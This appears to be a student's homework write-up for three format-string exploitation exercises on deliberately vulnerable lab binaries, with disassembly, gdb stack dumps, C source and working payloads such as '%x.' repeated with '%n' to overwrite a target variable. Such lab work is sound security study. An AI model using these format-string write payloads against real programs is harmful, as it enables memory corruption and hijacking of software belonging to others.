Homework 3

Ng Tze Kean
Student number: 721370290002

April 14, 2024

Format 0

Problem

```
Dump of assembler code for function main:
0x0804842b <main+0>:    push   ebp
0x0804842c <main+1>:    mov    ebp,esp
0x0804842e <main+3>:    and    esp,0xfffffff0
0x08048431 <main+6>:    sub    esp,0x10
0x08048434 <main+9>:    mov    eax,DWORD PTR [ebp+0xc]
0x08048437 <main+12>:   add    eax,0x4
0x0804843a <main+15>:   mov    eax,DWORD PTR [eax]
0x0804843c <main+17>:   mov    DWORD PTR [esp],eax
0x0804843f <main+20>:   call   0x80483f4 <vuln>
0x08048444 <main+25>:   leave
0x08048445 <main+26>:   ret

Dump of assembler code for function vuln:
0x080483f4 <vuln+0>:    push   ebp
0x080483f5 <vuln+1>:    mov    ebp,esp
0x080483f7 <vuln+3>:    sub    esp,0x68
0x080483fa <vuln+6>:    mov    DWORD PTR [ebp-0xc],0x0
0x08048401 <vuln+13>:   mov    eax,DWORD PTR [ebp+0x8]
0x08048404 <vuln+16>:   mov    DWORD PTR [esp+0x4],eax
0x08048408 <vuln+20>:   lea    eax,[ebp-0x4c]
0x0804840b <vuln+23>:   mov    DWORD PTR [esp],eax
0x0804840e <vuln+26>:   call   0x8048300 <sprintf@plt>
0x08048413 <vuln+31>:   mov    eax,DWORD PTR [ebp-0xc]
0x08048416 <vuln+34>:   cmp    eax,0xdeadbeef
0x0804841b <vuln+39>:   jne    0x8048429 <vuln+53>
0x0804841d <vuln+41>:   mov    DWORD PTR [esp],0x8048510
0x08048424 <vuln+48>:   call   0x8048330 <puts@plt>
0x08048429 <vuln+53>:   leave
0x0804842a <vuln+54>:   ret
```

We can see from ‘¡vuln+6¿‘ that the target variable is at ‘ebp-0xc‘. We could solve the problem through a buffer overflow by using 64char followed by ‘0xdeadbeef‘ but our hint is to solve the question in 10bytes of input.

Idea and Attack process

We do a bit of searching for format string attacks and we learn that using ‘followed by a numerical digit allows us to inject characters without generating them. We can see that the buffer is 64 characters and we inject 64 digits followed by the target.

```
./format0 $(python -c "print '%64d\xef\xbe\xad\xde'")
>>> you have hit the target correctly :)e
```

Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);

  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
```

Format 1

Problem

```
objdump -t format1 | grep target
>>>08049638 g     O .bss    00000004              target
```

As suggested by the hint, we find out what is the address of the target variable. We also find out the dump of the vuln code. From the source code, we can also tell that the program is expecting an argument that we can potentially try to do string format attack on.

```
Dump of assembler code for function vuln:
0x080483f4 <vuln+0>:    push   ebp
0x080483f5 <vuln+1>:    mov    ebp,esp
0x080483f7 <vuln+3>:    sub    esp,0x18
0x080483fa <vuln+6>:    mov    eax,DWORD PTR [ebp+0x8]
0x080483fd <vuln+9>:    mov    DWORD PTR [esp],eax
0x08048400 <vuln+12>:   call   0x8048320 <printf@plt>
0x08048405 <vuln+17>:   mov    eax,ds:0x8049638
0x0804840a <vuln+22>:   test   eax,eax
0x0804840c <vuln+24>:   je     0x804841a <vuln+38>
0x0804840e <vuln+26>:   mov    DWORD PTR [esp],0x8048500
0x08048415 <vuln+33>:   call   0x8048330 <puts@plt>
0x0804841a <vuln+38>:   leave
0x0804841b <vuln+39>:   ret
End of assembler dump.
```

Idea and Attack process

We know the address we would like to modify. As long as we set the target variable to some value other than 0, we will be able to print the message. We start by finding the target address in the stack.

```
b*0x08048400
>>>Breakpoint 1 at 0x08048400
s
>>>Single stepping until exit from function vuln,
>>>which has no line number information.
>>>__printf (format=0xbffffe8a "aaaa") at printf.c:29
>>>29      printf.c: No such file or directory.
>>>       in printf.c

x/12wx $esp
>>>0xbffffc68:     0x00000001      0xb7eddf90      0xb7eddf99      0xb7fd7ff4
>>>0xbffffc78:     0xbffffc98      0x08048405      0x00000000      0x0804960c
>>>0xbffffc88:     0xbffffcb8      0x08048469      0xb7fd8304      0xb7fd7ff4
```

Thus, we can deduce that the location of the pointer is at ‘0xbffffc84‘. The pointer starts at ‘0xbffffe8a‘, that is 518bytes away. This computes to 129 pointer shifts before writing to our target location.

```
./format1 $(python -c "print '\x38\x96\x04\x08' + '%x.'*129 + '%n'")
8804960c.bffffb48.8048469.b7fd8304.b7fd7ff4.bffffb48.8048435.bffffd18.b7ff1040
    .804845b.b7fd7ff4.8048450.0.bffffbc8.b7eadc76.2.bffffbf4.bffffc00.b7fe1848.
    bffffbb0.ffffffff.b7ffeff4.804824d.1.bffffbb0.b7ff0626.b7fffab0.b7fe1b28.
    b7fd7ff4.0.0.bffffbc8.52a9541a.78e7820a.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.
    b7ffeff4.2.8048340.0.8048361.804841c.2.bffffbf4.8048450.8048440.b7ff1040.
    bffffbec.b7fff8f8.2.bffffd0e.bffffd18.0.bffffea2.bffffead.bffffebd.bffffedf.
    bffffef2.bffffefc.bfffff10.bfffff52.bfffff69.bfffff7a.bfffff82.bfffff8d.
    bfffff9a.bfffffd0.bfffffe6.0.20.b7fe2414.21.b7fe2000.10.78bfbff
    .6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.0.c.0.d.0.e
    .0.17.0.19.bffffceb.1f.bffffff2.f.bffffcfb.0.0.0.0.d2000000.fa1036db.f1b2d6af.5
    dbc36f0.696824ef.363836.0.0.0.2f2e0000.6d726f66.317461.you have modified the
    target :)
```

Source code

```
    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>

```

```
6     int target;
7
8     void vuln(char *string)
9     {
10      printf(string);
11
12      if(target) {
13          printf("you have modified the target :)\n");
14      }
15    }
16
17    int main(int argc, char **argv)
18    {
19      vuln(argv[1]);
20    }
```

Format 2

Problem

```
objdump -t format2 | grep target
>>>080496e4 g     O .bss    00000004              target
```

Again, we find the location of our target. We know from the source code that the program now takes in an input into the buffer and prints it. We so the same as before by first printing a sequence of character and try to identify where the pointer resides on the stack. We then make use of string format to do the attack.

Idea and Attack process

We first try to locate our variable first. This time we quickly find the target, that is 2 positions below our injected string.

```
python -c "print 'AAAA' + '%x.'*10" | ./format2
>>>AAAA200.b7fd8420.bffffb14.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78
    .2e78252e.
```

We now want to write to the target value. We try different values to write to the address and we eventually find that the combination below leads to the target variable being modified.

```
 python -c "print '\xe4\x96\x04\x08' + '%x.'*2 + '%47d' +'%n'" | ./format2
200.b7fd8420.                                -1073743084
you have modified the target :)
```

Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
    char buffer[512];

    fgets(buffer, sizeof(buffer), stdin);
    printf(buffer);

    if(target == 64) {
        printf("you have modified the target :)\n");
    } else {
        printf("target is %d :(\n", target);
    }
}

int main(int argc, char **argv)
{
    vuln();
}
```